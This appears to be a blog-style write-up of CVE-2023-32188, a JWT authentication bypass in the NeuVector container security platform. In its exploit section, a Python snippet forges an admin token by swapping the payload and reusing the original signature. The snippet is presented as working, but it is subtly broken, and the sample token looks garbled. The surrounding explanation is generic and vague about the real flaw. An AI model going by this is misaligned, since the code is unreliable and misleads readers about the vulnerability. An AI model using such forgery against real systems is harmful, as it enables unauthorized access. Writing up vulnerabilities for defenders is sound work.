CVE-2023-32188 - NeuVector JSON Web Token (JWT) Authentication Bypass Vulnerability Leads to Remote Code Execution (RCE)

The cybersecurity landscape is constantly evolving as new vulnerabilities and exploits are discovered. In this in-depth look, we will discuss CVE-2023-32188, a critical security vulnerability discovered in NeuVector's JWT authentication mechanism. This vulnerability allows an attacker to reverse engineer the JSON Web Token (JWT) used for authentication, forge a valid NeuVector token, and potentially perform malicious activities such as remote code execution (RCE).

We will guide you through the underlying concepts, code snippets, original references, and exploit details in a simple and easily understandable language to help you assess the risk this vulnerability poses to your organization.

Understanding JWT Authentication

JSON Web Token (JWT) is a widely used standard-for communication between a client and a server. It is often used in authentication and authorization scenarios, enabling secure data transfer between parties. A JWT token typically consists of three parts: a header, a payload, and a signature. The signature is created using a secret key that is known only to the server. This ensures that the token cannot be tampered with and prevents unauthorized access.

For more details on JWT authentication, visit the following link

- Introduction to JSON Web Tokens (jwt.io)

NeuVector Vulnerability (CVE-2023-32188)

NeuVector, a popular container security platform and API, uses JWT tokens for user authentication. However, a critical vulnerability (CVE-2023-32188) has been discovered in its implementation, allowing an attacker to reverse engineer the JWT token, forge a valid NeuVector token, and potentially perform malicious activities such as remote code execution (RCE).

In essence, this vulnerability exists because NeuVector fails to properly validate and secure the JWT tokens it uses, making it susceptible to attacks by bad actors.

Exploit Details

An attacker can exploit this vulnerability by reverse-engineering the JWT token used for NeuVector Manager and API access. To do this, the attacker can intercept network traffic between the client and server or search leaked source code for JWT tokens.

As an illustration, the following code snippet demonstrates how an attacker can forge a valid NeuVector JWT token by tampering with the payload and signature sections:

import jwt
import base64

ORIGINAL_JWT = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMNTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWFIjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c'

HEADER, PAYLOAD, SIGNATURE = ORIGINAL_JWT.split('.')

# Decoding the payload
original_payload = base64.b64decode(PAYLOAD + '==').decode('utf-8')

# Tampering with the payload to forge a new NeuVector Token
new_payload = '{"admin":"True", "API_access": "True"}'
encoded_new_payload = base64.b64encode(new_payload.encode('utf-8')).decode('utf-8').replace('=', '')

# Creating a new JWT token using the tampered payload
FORGED_JWT = HEADER + '.' + encoded_new_payload + '.' + SIGNATURE

print(FORGED_JWT)

This allows the attacker to impersonate an authentic NeuVector user and execute potentially malicious actions, such as gaining unauthorized access to sensitive data or launching RCE attacks.

To prevent this vulnerability, NeuVector must ensure secure token handling and proper validation of JWT tokens. Organizations using NeuVector should also apply security patches once they become available and evaluate their security policies to minimize risks associated with this issue.

For more information about CVE-2023-32188, you can refer to the following original references

- CVE-2023-32188: NeuVector JSON Web Token Authentication Bypass (nvd.nist.gov)
- NeuVector Security Advisory: CVE-2023-32188 JSON Web Token (JWT) Vulnerability (neuvector.com)

Conclusion

In conclusion, CVE-2023-32188 is a critical vulnerability that affects NeuVector's JWT authentication mechanism. If left unaddressed, it can allow an attacker to forge valid JWT tokens, leading to potential remote code execution (RCE) attacks. It is essential to understand this vulnerability, take preventive measures, and apply the necessary patches to ensure the security of your systems and data.

Timeline

Published on: 10/16/2024 09:15:03 UTC
Last modified on: 10/16/2024 16:38:14 UTC